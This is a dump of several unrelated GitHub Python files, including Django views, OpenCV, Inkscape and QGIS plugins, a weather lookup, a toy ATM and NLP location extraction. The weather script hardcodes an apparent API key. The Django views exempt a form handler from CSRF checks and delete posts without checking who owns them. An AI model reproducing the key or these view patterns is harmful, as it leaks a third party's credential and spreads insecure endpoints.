np.append(l1_norms, np.linalg.norm(\n values.reshape(300, 300), ord=1)/90000)\n l2_norms = np.append(l2_norms, np.linalg.norm(\n values.reshape(300, 300), ord=2)/90000)\n linf_norms = np.append(linf_norms, np.linalg.norm(\n values.reshape(300, 300), ord=np.inf)/90000)\n # np.save(\"/content/serial_steps/AD_2D_serial_step_{}\".format(t),values.reshape(nx, ny)) # save the resultant mesh of one time step\n\n# Visualization omitted\n# if t == 0:\n# plt.imshow(values[0,:,:,0], vmin=0, vmax=1.0)\n# plt.axis('off')\n# fig1_name = \"paper_figure/figure_1/up_2nd_\"+str(t)+\".jpg\"\n# plt.savefig(fig1_name, dpi=200, bbox_inches='tight')\n# plt.close()\n# elif t ==250 or t == 500 or t == 1000:\n# plt.imshow(values[0,:,:,0], vmin=0, vmax=1.0)\n# plt.axis('off')\n# fig1_name = \"paper_figure/figure_1/up_2nd_\"+str(t)+\".jpg\"\n# plt.savefig(fig1_name, dpi=200, bbox_inches='tight')\n# plt.close()\n\n\nend_time = time.perf_counter()\nprint(\n f\"[INFO] Problem solved in {end_time - start_time:0.4f} seconds using serial solution.\")\n\n# save the final result to text file\nnp.save(\"/content/output/AD_2D_serial\", values.reshape(nx, ny))\nnp.save(\"/content/norms/AD_2D_serial_l1_norms\", l1_norms)\nnp.save(\"/content/norms/AD_2D_serial_l2_norms\", l2_norms)\nnp.save(\"/content/norms/AD_2D_serial_linf_norms\", linf_norms)\n","repo_name":"bc1chen/AI-HFM-Solver","sub_path":"Anisotropic Resistivity Tomography/scripts/advection_diffusion_2D.py","file_name":"advection_diffusion_2D.py","file_ext":"py","file_size_in_byte":5876,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"70022595150","text":"import cgi\nimport datetime\nfrom collections import Counter\n\nfrom pyexpat.errors import messages\n\nfrom django.db.models import Q\nfrom django.shortcuts import render, redirect, get_object_or_404\n\n# Create your views here.\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.views.generic import FormView\n\nfrom dreams.forms import DreamForm\nfrom dreams.models import DreamModel\nfrom account.models import CustomUser\n@csrf_exempt\ndef createDream(request):\n if request.method == 'POST':\n form = DreamForm(request.POST)\n if form.is_valid():\n dream = form.save(commit=False)\n dream.created = datetime.datetime.now()\n dream.read_cnt = 0\n dream.author = request.user\n dream.save()\n return redirect('dream:detail', id=dream.id)\n else:\n form = DreamForm()\n return render(request,'dreams/new.html',{'form':form})\n\ndef viewDream(request, id):\n # dream 게시물 가져오기\n dream = get_object_or_404(DreamModel,id=id)\n # 제목 키워드 분석\n\n from konlpy.tag import Okt\n okt = Okt()\n keywords = okt.nouns(dream.title)\n # 해당 해몽들 보여주기\n import urllib.request\n from bs4 import BeautifulSoup\n\n results =[]\n # 꿈 단어 제외하고 검색결과 가져오기\n for key in keywords[:-1]:\n word = urllib.parse.quote_plus(key+'꿈해몽')\n\n url = f'https://search.naver.com/search.naver?date_from=&date_option=0&date_to=&dup_remove=1&nso=&post_blogurl=&post_blogurl_without=&query={word}&sm=tab_pge&srchby=all&st=sim&where=post&start=5'\n html = urllib.request.urlopen(url).read()\n soup = BeautifulSoup(html, 'html.parser')\n\n titles = soup.find_all(class_='api_txt_lines total_tit')\n\n results = []\n for index, title in enumerate(titles):\n if index == 6: break\n results.append((''.join((title.find_all(text=True))),title.attrs['href']))\n # print(''.join((title.find_all(text=True))))\n # print(title.attrs['href'])\n\n if len(results)==0:\n results.append(('제목에 해당하는 해몽을 찾지 못했습니다.',''))\n\n isUser = request.user == dream.author\n return render(request,'dreams/view.html',{'dream':dream, 'isUser':isUser, 'results':results})\n\ndef mainPage(request):\n # dream 전체 게시물 가져오기\n dream = DreamModel.objects.all()\n return render(request, 'dreams/main.html',{'dream_list':dream})\n\n\ndef search(request):\n datas = DreamModel.objects.values_list('color', flat=True)\n counter = dict(Counter(datas))\n sorted_color = sorted(counter, key=lambda x: x[1], reverse=True)[:5]\n context = {}\n context['colors'] = sorted_color\n return render(request, 'dreams/search.html', context)\n\ndef search_color(request, color_id):\n dream_list = DreamModel.objects.filter(color__contains=color_id)\n context = {'dream_list':dream_list}\n return render(request, 'dreams/main.html',context)\n\n\ndef search_title(request):\n context = {}\n # 검색\n search_word = request.GET.get('search_word','')\n\n dream_list = DreamModel.objects.filter(title__contains=search_word)\n context['dream_list'] = dream_list\n\n return render(request, 'dreams/main.html', {'dream_list':dream_list})\n\n\n# 수정하기\ndef modify(request,id):\n dream = get_object_or_404(DreamModel,pk=id)\n if request.user != dream.author:\n messages.error(request, '수정권한이 없습니다.')\n return redirect(request,'dream:')\n\n if request.method == \"POST\":\n form = DreamForm(request.POST, instance=dream)\n if form.is_valid():\n movie = form.save(commit=False)\n movie.save()\n return redirect('dream:detail', id=dream.id)\n else:\n form = DreamForm(instance=dream)\n context = {'form': form,'dream':dream}\n return render(request, 'dreams/modify.html', context)\n\n# 카운트 업데이트\ndef read_count(request,id):\n dream = get_object_or_404(DreamModel,pk=id)\n dream.read_cnt = dream.read_cnt+1\n dream.save()\n return redirect('dream:detail',id=dream.id)\n\n# 삭제하기\ndef delete(request,id):\n dream = get_object_or_404(DreamModel,pk=id)\n dream.delete()\n return redirect('dream:main')","repo_name":"iruyj/DreamColor","sub_path":"dreams/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"42375612627","text":"import cv2\nimport numpy as np\n\n\n\"\"\"def regroup(scale, imgarray):\n rows = len(imgarray)\n cols = len(imgarray[0])\n rowsavailable = len(imgarray[0])\n width = imgarray[0][0].shape[1]\n height = imgarray[0][0].shape[0]\n\n widthscale = width*scale\n heightscale = height*scale\n\n \n if rowsavailable:\n for x in range (0, rows):\n for y in range (0, cols):\n if imgarray[x][y].shape[:2] == imgarray[0][0].shape[:2]:\n imgarray[x][y] = cv2.resize(imgarray[x][y], (widthscale, heightscale), None)\n else:\n imgarray[x][y] = cv2.resize(imgarray[x][y], (imgarray[0][0].shape[1], imgarray[0][0].shape[0]), None, scale, scale)\n if len(imgarray[x][y].shape) == 2:\n imgarray[x][y] = cv2.cvtColor( imgarray[x][y], cv2.COLOR_GRAY2BGR)\n\n imageblank = np.zeros((height, width, 3), np.uint8)\n hor = [imageblank]*rows\n horcon = [imageblank]*rows\n for x in range (0, rows):\n hor[x] = np.hstack(imgarray[x])\n ver = np.vstack(hor)\n else:\n for x in range (0, rows):\n if imgarray[x].shape[:2] == imgarray[0].shape[:2]:\n imgarray[x] = cv2.resize(imgarray[x], (widthscale, heightscale), None)\n else:\n imgarray[x] = cv2.resize(imgarray[x], (imgarray[0].shape[1], imgarray[0].shape[0]), None, scale, scale)\n if len(imgarray[x].shape) == 2:\n imgarray[x] = cv2.cvtColor( imgarray[x], cv2.COLOR_GRAY2BGR)\n hor = np.hstack(imgarray)\n ver = hor\n return ver\"\"\"\n\ncap = cv2.VideoCapture(0)\n\n\"\"\"while True:\n _, frame =cap.read()\n\n hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n\n lower_blue = np.array([38, 86, 0])\n upper_blue = np.array([121, 255, 255])\n mask = cv2.inRange(hsv, lower_blue, upper_blue)\n\n a , contour = cv2.findContours(mask, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n cv2.drawContours(frame, a, -1, (0, 0, 255), 3)\n \n cv2.imshow(\"frame\", frame)\n cv2.imshow(\"mask\", mask)\n\n key = cv2.waitKey(1)\n if key == ord(\"q\"):\n break\"\"\"\n\nwhile True:\n def empty(o):\n pass\n\n\n cv2.namedWindow(\"truc\")\n cv2.resizeWindow(\"truc\", 640,240)\n\n cv2.createTrackbar(\"gauss 1\", \"truc\", 5, 10, empty)\n cv2.createTrackbar(\"gauss 2\", \"truc\", 5, 10, empty)\n cv2.createTrackbar(\"canny 1\", \"truc\", 50, 100, empty)\n cv2.createTrackbar(\"canny 2\", \"truc\", 210, 400, empty)\n\n\n gauss1 = cv2.getTrackbarPos(\"gauss 1\", \"truc\")\n gauss2 = cv2.getTrackbarPos(\"gauss 2\", \"truc\")\n canny1 = cv2.getTrackbarPos(\"canny 1\", \"truc\")\n canny2 = cv2.getTrackbarPos(\"canny 2\", \"truc\")\n\n \n _,frame = cap.read()\n\n gray=cv2.cvtColor(frame,cv2.COLOR_BGR2GRAY)\n\n gauss = cv2.GaussianBlur(gray, (5, 5), 0)\n\n canny = cv2.Canny(gauss, 60, 210)\n\n cont = canny.copy()\n\n contr, hier = cv2.findContours(cont, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)\n\n for cnt in contr:\n area = cv2.contourArea(cnt)\n if area>400:\n cv2.drawContours(frame, cnt, -1, (0,0, 255), 2)\n\n cv2.imshow(\"contours\", frame)\n\n key = cv2.waitKey(1)\n if key == ord(\"q\"):\n break \n\n\n\ncap.release()\n\ncv2.destroyAllWindows()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n \n","repo_name":"fablab3lapins/tirelire_ai","sub_path":"aide debug/contour.py","file_name":"contour.py","file_ext":"py","file_size_in_byte":3388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"38700044957","text":"import pyowm\r\n\r\nprint(\"Введите \\\"stop\\\" для выхода!\")\r\nwhile True:\r\n try:\r\n city = input(\"Какой город вас интересует?: \")\r\n if city == 'stop':\r\n break\r\n else:\r\n owm = pyowm.OWM('a99967bc9ee70d5b4bd387902982f400', language=\"RU\")\r\n observation = owm.weather_at_place(city)\r\n w = observation.get_weather()\r\n\r\n temperature = w.get_temperature('celsius')['temp']\r\n\r\n print(\"В городе \" + city + \" сейчас температура: \" + str(temperature) + \" по Цельсию.\")\r\n print('Погода в указаном городе: ' + w.get_detailed_status())\r\n except:\r\n print(\"Что-то пошло не так\")\r\n","repo_name":"ra-110110/mini","sub_path":"weather/weather.py","file_name":"weather.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"33869235354","text":"import sys\nfrom math import acos, asin, cos, pi, sin, sqrt\n\nimport inkex\n\nX, Y = range(2)\n\ndef draw_SVG_tri(point1, point2, point3, offset, width, name, parent):\n style = {'stroke': '#000000', 'stroke-width': str(width), 'fill': 'none'}\n elem = parent.add(inkex.PathElement())\n elem.update(**{\n 'style': style,\n 'inkscape:label': name,\n 'd': 'M ' + str(point1[X] + offset[X]) + ',' + str(point1[Y] + offset[Y]) +\n ' L ' + str(point2[X] + offset[X]) + ',' + str(point2[Y] + offset[Y]) +\n ' L ' + str(point3[X] + offset[X]) + ',' + str(point3[Y] + offset[Y]) +\n ' L ' + str(point1[X] + offset[X]) + ',' + str(point1[Y] + offset[Y]) + ' z'})\n return elem\n\n\ndef angle_from_3_sides(a, b, c): # return the angle opposite side c\n cosx = (a * a + b * b - c * c) / (2 * a * b) # use the cosine rule\n return acos(cosx)\n\n\ndef third_side_from_enclosed_angle(s_a, s_b, a_c): # return the side opposite a_c\n c_squared = s_a * s_a + s_b * s_b - 2 * s_a * s_b * cos(a_c)\n if c_squared > 0:\n return sqrt(c_squared)\n else:\n return 0 # means we have an invalid or degenerate triangle (zero is caught at the drawing stage)\n\n\ndef pt_on_circ(radius, angle): # return the x,y coordinate of the polar coordinate\n x = radius * cos(angle)\n y = radius * sin(angle)\n return [x, y]\n\n\ndef v_add(point1, point2): # add an offset to coordinates\n return [point1[X] + point2[X], point1[Y] + point2[Y]]\n\n\ndef is_valid_tri_from_sides(a, b, c): # check whether triangle with sides a,b,c is valid\n return (a + b) > c and (a + c) > b and (b + c) > a and a > 0 and b > 0 and c > 0 # two sides must always be greater than the third\n # no zero-length sides, no degenerate case\n\n\ndef draw_tri_from_3_sides(s_a, s_b, s_c, offset, width, parent): # draw a triangle from three sides (with a given offset\n if is_valid_tri_from_sides(s_a, s_b, s_c):\n a_b = angle_from_3_sides(s_a, s_c, s_b)\n\n a = (0, 0) # a is the origin\n b = v_add(a, (s_c, 0)) # point B is horizontal from the origin\n c = v_add(b, pt_on_circ(s_a, pi - a_b)) # get point c\n c[1] = -c[1]\n\n offx = max(b[0], c[0]) / 2 # b or c could be the furthest right\n offy = c[1] / 2 # c is the highest point\n offset = (offset[0] - offx, offset[1] - offy) # add the centre of the triangle to the offset\n\n draw_SVG_tri(a, b, c, offset, width, 'Triangle', parent)\n else:\n inkex.errormsg('Invalid Triangle Specifications.')\n\n\nclass Triangle(inkex.EffectExtension):\n def add_arguments(self, pars):\n pars.add_argument(\"--unit\", default=\"mm\", help=\"Units\")\n pars.add_argument(\"--s_a\", type=float, default=100.0, help=\"Side Length a\")\n pars.add_argument(\"--s_b\", type=float, default=100.0, help=\"Side Length b\")\n pars.add_argument(\"--s_c\", type=float, default=100.0, help=\"Side Length c\")\n pars.add_argument(\"--a_a\", type=float, default=60.0, help=\"Angle a\")\n pars.add_argument(\"--a_b\", type=float, default=30.0, help=\"Angle b\")\n pars.add_argument(\"--a_c\", type=float, default=90.0, help=\"Angle c\")\n pars.add_argument(\"--mode\", default='3_sides', help=\"Side Length c\")\n\n def effect(self):\n tri = self.svg.get_current_layer()\n offset = self.svg.namedview.center\n self.options.s_a = self.svg.unittouu(str(self.options.s_a) + self.options.unit)\n self.options.s_b = self.svg.unittouu(str(self.options.s_b) + self.options.unit)\n self.options.s_c = self.svg.unittouu(str(self.options.s_c) + self.options.unit)\n stroke_width = self.svg.unittouu('1px')\n\n if self.options.mode == '3_sides':\n s_a = self.options.s_a\n s_b = self.options.s_b\n s_c = self.options.s_c\n draw_tri_from_3_sides(s_a, s_b, s_c, offset, stroke_width, tri)\n\n elif self.options.mode == 's_ab_a_c':\n s_a = self.options.s_a\n s_b = self.options.s_b\n a_c = self.options.a_c * pi / 180 # in rad\n\n s_c = third_side_from_enclosed_angle(s_a, s_b, a_c)\n draw_tri_from_3_sides(s_a, s_b, s_c, offset, stroke_width, tri)\n\n elif self.options.mode == 's_ab_a_a':\n s_a = self.options.s_a\n s_b = self.options.s_b\n a_a = self.options.a_a * pi / 180 # in rad\n\n if (a_a < pi / 2.0) and (s_a < s_b) and (s_a > s_b * sin(a_a)): # this is an ambiguous case\n ambiguous = True # we will give both answers\n else:\n ambiguous = False\n\n sin_a_b = s_b * sin(a_a) / s_a\n\n if (sin_a_b <= 1) and (sin_a_b >= -1): # check the solution is possible\n a_b = asin(sin_a_b) # acute solution\n a_c = pi - a_a - a_b\n error = False\n else:\n sys.stderr.write('Error:Invalid Triangle Specifications.\\n') # signal an error\n error = True\n\n if not error and (a_b < pi) and (a_c < pi): # check that the solution is valid, if so draw acute solution\n s_c = third_side_from_enclosed_angle(s_a, s_b, a_c)\n draw_tri_from_3_sides(s_a, s_b, s_c, offset, stroke_width, tri)\n\n if not error and ((a_b > pi) or (a_c > pi) or ambiguous): # we want the obtuse solution\n a_b = pi - a_b\n a_c = pi - a_a - a_b\n s_c = third_side_from_enclosed_angle(s_a, s_b, a_c)\n draw_tri_from_3_sides(s_a, s_b, s_c, offset, stroke_width, tri)\n\n elif self.options.mode == 's_a_a_ab':\n s_a = self.options.s_a\n a_a = self.options.a_a * pi / 180 # in rad\n a_b = self.options.a_b * pi / 180 # in rad\n\n a_c = pi - a_a - a_b\n s_b = s_a * sin(a_b) / sin(a_a)\n s_c = s_a * sin(a_c) / sin(a_a)\n\n draw_tri_from_3_sides(s_a, s_b, s_c, offset, stroke_width, tri)\n\n elif self.options.mode == 's_c_a_ab':\n s_c = self.options.s_c\n a_a = self.options.a_a * pi / 180 # in rad\n a_b = self.options.a_b * pi / 180 # in rad\n\n a_c = pi - a_a - a_b\n s_a = s_c * sin(a_a) / sin(a_c)\n s_b = s_c * sin(a_b) / sin(a_c)\n\n draw_tri_from_3_sides(s_a, s_b, s_c, offset, stroke_width, tri)\n\n\nif __name__ == '__main__':\n Triangle().run()\n","repo_name":"eridur-de/mightyscape-1.1-deprecated","sub_path":"extensions/fablabchemnitz/triangle/triangle.py","file_name":"triangle.py","file_ext":"py","file_size_in_byte":6407,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"82"}
+{"seq_id":"11345461777","text":"from qgis.PyQt.QtCore import QUrl\nfrom qgis.PyQt.QtNetwork import QNetworkRequest\n\nfrom qgis.gui import QgisInterface\nfrom qgis.core import (\n QgsApplication,\n QgsBlockingNetworkRequest,\n QgsFetchedContent,\n QgsLocatorResult,\n QgsFeedback,\n)\nfrom swiss_locator.core.filters.swiss_locator_filter import (\n SwissLocatorFilter,\n)\nfrom swiss_locator.core.filters.filter_type import FilterType\nfrom swiss_locator.core.results import WMSLayerResult\n\nimport xml.etree.ElementTree as ET\nimport urllib.parse\n\n\nclass SwissLocatorFilterWMTS(SwissLocatorFilter):\n def __init__(self, iface: QgisInterface = None, crs: str = None, capabilities=None):\n super().__init__(FilterType.WMTS, iface, crs)\n\n self.capabilities = capabilities\n self.capabilities_url = f\"https://wmts.geo.admin.ch/EPSG/{self.crs}/1.0.0/WMTSCapabilities.xml?lang={self.lang}\"\n\n # do this on main thread only?\n if self.capabilities is None and iface is not None:\n\n self.content = QgsApplication.networkContentFetcherRegistry().fetch(\n self.capabilities_url\n )\n self.content.fetched.connect(self.handle_capabilities_response)\n\n self.info(self.content.status())\n\n if self.content.status() == QgsFetchedContent.ContentStatus.Finished:\n file_path = self.content.filePath()\n self.info(\n f\"Swisstopo capabilities already downloaded. Reading from {file_path}\"\n )\n self.capabilities = ET.parse(file_path).getroot()\n else:\n self.content.download()\n\n def clone(self):\n if self.capabilities is None:\n self.content.cancel()\n nam = QgsBlockingNetworkRequest()\n request = QNetworkRequest(QUrl(self.capabilities_url))\n nam.get(request, forceRefresh=True)\n reply = nam.reply()\n if (\n reply.attribute(QNetworkRequest.HttpStatusCodeAttribute) == 200\n ): # other codes are handled by NetworkAccessManager\n self.capabilities = ET.fromstring(reply.content().data().decode(\"utf8\"))\n else:\n self.info(\n self.tr(\n \"The Swiss Locator filter for WMTS layers could not fetch capabilities.\"\n )\n )\n\n return SwissLocatorFilterWMTS(crs=self.crs, capabilities=self.capabilities)\n\n def displayName(self):\n return self.tr(\"Swiss Geoportal WMTS Layers\")\n\n def prefix(self):\n return \"chw\"\n\n def handle_capabilities_response(self):\n if self.content.status() == QgsFetchedContent.ContentStatus.Finished:\n self.info(\n f\"Swisstopo capabilities has been downloaded. Reading from {self.content.filePath()}\"\n )\n self.capabilities = ET.parse(self.content.filePath()).getroot()\n\n def perform_fetch_results(self, search: str, feedback: QgsFeedback):\n namespaces = {\n \"wmts\": \"http://www.opengis.net/wmts/1.0\",\n \"ows\": \"http://www.opengis.net/ows/1.1\",\n }\n\n if len(search) < 2:\n return\n\n if self.capabilities is None:\n self.info(\n self.tr(\n \"The Swiss Locator filter for WMTS layers could not fetch capabilities.\"\n )\n )\n return\n\n # Search for layers containing the search term in the name or title\n for layer in self.capabilities.findall(\".//wmts:Layer\", namespaces):\n layer_title = layer.find(\".//ows:Title\", namespaces).text\n layer_abstract = layer.find(\".//ows:Abstract\", namespaces).text\n layer_identifier = layer.find(\".//ows:Identifier\", namespaces).text\n dimensions = dict()\n for dim in layer.findall(\".//wmts:Dimension\", namespaces):\n identifier = dim.find(\"./ows:Identifier\", namespaces).text\n default = dim.find(\"./wmts:Default\", namespaces).text\n dimensions[identifier] = default\n dimensions = \"&\".join([f\"{k}={v}\" for (k, v) in dimensions.items()])\n dimensions = urllib.parse.quote(dimensions)\n\n results = {}\n\n if layer_identifier:\n if search in layer_identifier.lower():\n score = 1\n elif search in layer_title.lower():\n score = 2\n elif search in layer_abstract.lower():\n score = 3\n else:\n continue\n\n tile_matrix_set = layer.find(\".//wmts:TileMatrixSet\", namespaces).text\n _format = layer.find(\".//wmts:Format\", namespaces).text\n style = layer.find(\".//wmts:Style/ows:Identifier\", namespaces).text\n\n result = QgsLocatorResult()\n result.filter = self\n result.icon = QgsApplication.getThemeIcon(\"/mActionAddWmsLayer.svg\")\n\n result.displayString = layer_title\n result.description = layer_abstract\n result.userData = WMSLayerResult(\n layer=layer_identifier,\n title=layer_title,\n url=self.capabilities_url,\n tile_matrix_set=tile_matrix_set,\n _format=_format,\n style=style,\n tile_dimensions=dimensions,\n ).as_definition()\n\n results[result] = score\n\n # sort the results with score\n results = sorted([result for (result, score) in results.items()])\n\n for result in results[0 : self.settings.value(\"wmts_limit\")]:\n self.resultFetched.emit(result)\n self.result_found = True\n","repo_name":"opengisch/qgis-swiss-locator","sub_path":"swiss_locator/core/filters/swiss_locator_filter_wmts.py","file_name":"swiss_locator_filter_wmts.py","file_ext":"py","file_size_in_byte":5822,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"82"}
+{"seq_id":"30711014045","text":"# -*- coding:utf-8 -*-\n# __author__ = 'gupan'\nfrom Atm.common.tools import *\nfrom Atm.core.CONSTANT import *\n\nimport json\npath_account = Root_path().get_root_path() + \"\\\\db\\\\accounts\"\npath_name_dir = Root_path().get_root_path() + \"\\\\db\\\\accounts_records\\\\\"\n#print(path_account)\n\ndef test_login(func):\n def decorator(*args, **kwargs):\n R_Flag = False\n name = kwargs[\"name\"]\n pwd = kwargs[\"pwd\"]\n\n with open(path_account, \"r\") as f_account:\n data = f_account.read()\n if not data:\n print(\"系统尚无用户注册\")\n return False\n accounts = json.loads(data)\n if accounts.get(name) and accounts[name][PWD] == pwd:\n R_Flag = True\n if not R_Flag:\n print(\"登陆失败\")\n return R_Flag\n\n if not accounts[name][STATUS]:\n print(\"\\033[31;1m账户被冻结,请联系管理员解除冻结状态\\033[0m\")\n return False\n\n R_Flag = func(*args, **kwargs)\n if not R_Flag:\n print(\"{name}失败\".format(name = func.__name__))\n return R_Flag\n return decorator\n\n # if Flag:\n # self.balance = int(self.accounts[name][BALANCE])\n # self.name = name","repo_name":"gupan2018/pythonProjects","sub_path":"Atm/core/decorator.py","file_name":"decorator.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"74750812109","text":"import random\n\n\nclass countries:\n string = str()\n country = ''\n list1 = list()\n\n @staticmethod\n def random_country():\n Asia = [\n \"Afghanistan\", \"Armenia\", \"Azerbaijan\", \"Bahrain\", \"Bangladesh\", \"Bhutan\", \"Brunei\", \"Cambodia\", \"China\",\n \"Cyprus\", \"Georgia\", \"India\", \"Indonesia\", \"Iran\", \"Iraq\", \"Israel\", \"Japan\", \"Jordan\", \"Kazakhstan\",\n \"Kuwait\", \"Kyrgyzstan\", \"Laos\", \"Lebanon\", \"Malaysia\", \"Maldives\", \"Mongolia\", \"Myanmar\", \"Nepal\",\n \"North Korea\", \"Oman\", \"Pakistan\", \"Palestine\", \"Philippines\", \"Qatar\", \"Saudi Arabia\", \"Singapore\",\n \"South Korea\", \"Sri Lanka\", \"Syria\", \"Taiwan\", \"Tajikistan\", \"Thailand\", \"Timor Leste\", \"Turkey\",\n \"Turkmenistan\", \"United Arab Emirates\", \"Uzbekistan\", \"Vietnam\", \"Yemen\"\n ]\n\n copy = random.choice(Asia)\n a = copy.lower()\n return a\n\n @staticmethod\n def print_space(country):\n new_list = list()\n for i in country:\n if i != ' ':\n new_list.append(\"_\")\n else:\n new_list.append(\" \")\n new_str = \"\".join(new_list)\n return new_str\n\n @staticmethod\n def input_method(country, space):\n con_list = list(country)\n spa_list = list(space)\n con_str = \"\".join(con_list)\n\n try:\n while True:\n a = str(input(\"Guess word:-\"))\n\n if len(a) > 1:\n print(\"Please enter character or only one character!\\n\")\n continue\n elif a in con_str:\n occurrences = [i for i, letter in enumerate(con_list) if letter == a]\n\n for ek in occurrences:\n spa_list[ek] = a\n\n new = \" \".join(spa_list).upper()\n print(new, \"\\n\") # Move this line outside the loop\n\n if spa_list == con_list:\n print(\"Congratulations!\\nYou guessed the correct Country\")\n break\n\n else:\n print(\"Incorrect guess! Try again\\n\")\n except Exception as ex:\n print(type(ex))\n print(ex)\n\n\n# import pycountry\n#\n# all_countries = list(pycountry.countries)\n# list1 = list()\n#\n# for country in all_countries:\n# list1.append(country.name)\n#\n# print(list1)\n\n\n\"\"\"\n 1. Make a method to choose a country\n 2. Create a method to print len(country) space like ______\n 3. After that create a method to take input and exception handling\n\"\"\"\n\nc = countries()\n\nb = c.random_country()\nd = c.print_space(b)\ne = \" \".join(d)\nprint(e)\nc.input_method(b, d)\n","repo_name":"Ranjit2002/pythonProgram","sub_path":"Exercises/Word_Guessing_game.py","file_name":"Word_Guessing_game.py","file_ext":"py","file_size_in_byte":2665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"70603925389","text":"#!/usr/bin/env python3\r\n\r\n\"\"\"Search locations in text form and convert them to geographic coordinates\r\n\"\"\"\r\nfrom numpy.core.numeric import NaN\r\nimport spacy\r\nimport geocoder\r\nimport re\r\nimport pandas as pd\r\nfrom collections import Counter\r\n\r\n# Choose language\r\nnlp = spacy.load('en_core_web_sm')\r\n\r\n# Read data\r\ndf = pd.read_csv('quantitiesdone.csv')\r\nlocationlist = pd.read_csv('locationlist.csv')\r\n\r\n# Add new location columns\r\ndf['location_spacy'] = [[]] * df.shape[0] # empty list\r\ndf['location_osm'] = [[]] * df.shape[0]\r\ndf['coordinates'] = [[]] * df.shape[0]\r\ndf['lat'] = [[]] * df.shape[0]\r\ndf['lon'] = [[]] * df.shape[0]\r\ndf['location_found_from'] = [[]] * df.shape[0]\r\ndf['location_match'] = [[]] * df.shape[0]\r\n\r\n# Remove NaN values\r\ndf = df.fillna('')\r\ndf = df.replace(r'\\s',' ', regex=True) \r\n\r\n# Column names from which location is searched\r\nlocation_columns = ['location', 'description', 'reptile']\r\n\r\n# Iterating trough dataframe rows\r\nfor index, row in df.iterrows():\r\n location_found = False\r\n location = str(df.iloc[index]['location'])\r\n # Uses Natural language processing to find location entities from the location column\r\n doc = nlp(location)\r\n for ent in doc.ents:\r\n if not location_found:\r\n # If an entity is geographic find it's coordinates from osm with geocoder and add them to data\r\n if ent.label_ == 'GPE':\r\n df.at[index, 'location_spacy'] = doc\r\n osm = geocoder.osm(str(ent))\r\n df.at[index, 'location_osm'] = osm\r\n if osm.country is not None:\r\n country_osm = geocoder.osm(osm.country)\r\n if country_osm.latlng is not None:\r\n df.at[index, 'coordinates'] = country_osm.latlng\r\n df.at[index, 'Country'] = country_osm.country\r\n df.at[index, 'lat'] = float(country_osm.latlng[0])\r\n df.at[index, 'lon'] = float(country_osm.latlng[1])\r\n df.loc[index, 'location_found_from'] = 'location'\r\n location_found = True\r\n # if ent.label_ == 'GPE':\r\n # df.at[index, 'location_spacy'] = doc\r\n # osm = geocoder.osm(str(ent))\r\n # df.at[index, 'location_osm'] = osm\r\n # if osm.latlng is not None:\r\n # df.at[index, 'coordinates'] = osm.latlng\r\n # df.at[index, 'country'] = osm.country\r\n # df.at[index, 'lat'] = float(osm.latlng[0])\r\n # df.at[index, 'lon'] = float(osm.latlng[1])\r\n # df.loc[index, 'location_found_from'] = 'location'\r\n # df.loc[index, 'location_match'] = str(row['location'])\r\n # \r\n \r\n # If location is not found search keywords from locationlist matching text in df\r\n if not location_found:\r\n for search_column in location_columns:\r\n if not location_found:\r\n for col in locationlist.columns:\r\n if not location_found:\r\n for i, r in locationlist.iterrows():\r\n if not location_found:\r\n location = re.findall(str(r[col]), str(row[search_column]), re.IGNORECASE)\r\n if location != '[]' and str(r[col]) != 'nan' and location:\r\n df.loc[index, 'location_spacy'] = col\r\n osm = geocoder.osm(str(ent))\r\n df.at[index, 'location_osm'] = osm\r\n if osm.country is not None:\r\n country_osm = geocoder.osm(osm.country)\r\n if country_osm.latlng is not None:\r\n df.at[index, 'coordinates'] = country_osm.latlng\r\n df.at[index, 'Country'] = country_osm.country\r\n df.at[index, 'lat'] = float(country_osm.latlng[0])\r\n df.at[index, 'lon'] = float(country_osm.latlng[1]) \r\n\r\n df.loc[index, 'location_found_from'] = search_column\r\n df.loc[index, 'location_match'] = str(r[col])\r\n location_found = True\r\n \r\n\r\n# Drop any data entries that dont have species information (These should not exist anymore at this point)\r\ndf['Species'].replace('', float('NaN'), inplace=True)\r\ndf.dropna(subset = ['Species'], inplace=True)\r\n\r\n\r\n#Remove duplicates, where Seller_id, location, quantity, price, currency, intent and species are indentical\r\ndf['Seller_id'] = df['Seller_id'].astype(str)\r\ndf['location_spacy'] = df['location_spacy'].astype(str)\r\n\r\ndf_noseller_id = df[df['Seller_id']=='[]']\r\ndf_withseller_id = df[df['Seller_id']!='[]']\r\n\r\n\r\nsubset_columns = ['Species', 'Quantity', 'Price', 'Currency', 'Intent', 'Seller_id', 'location_spacy']\r\n\r\nnon_empty_columns = df_withseller_id[subset_columns].apply(lambda x: sum(item != '[]' for item in x), axis=1)\r\n\r\n# Determine how many of the columns has to have data so the deduplication is taken into consideration\r\n# How many empty columns is allowed? Enter here:\r\nempty_columns = 0\r\n\r\n# Create a mask to identify rows that match the condition of empty columns allowed\r\ncondition = non_empty_columns >= len(subset_columns) - empty_columns\r\n\r\n# Perform deduplication only on rows that satisfy the condition\r\ndeduplicated_df = df_withseller_id[condition].drop_duplicates(subset=subset_columns)\r\n\r\n# Combine the deduplicated rows with the rows that don't meet the condition\r\ndf_withseller_id = pd.concat([deduplicated_df, df_withseller_id[~condition]])\r\n\r\n\r\n# Combine rows with seller id and rest of the roews\r\ndf = pd.concat([df_withseller_id, df_noseller_id])\r\n\r\n# Drop columns that might have personal information\r\ncolumns = df[['original_datarow', 'Species', 'Quantity', 'Price', 'Currency', 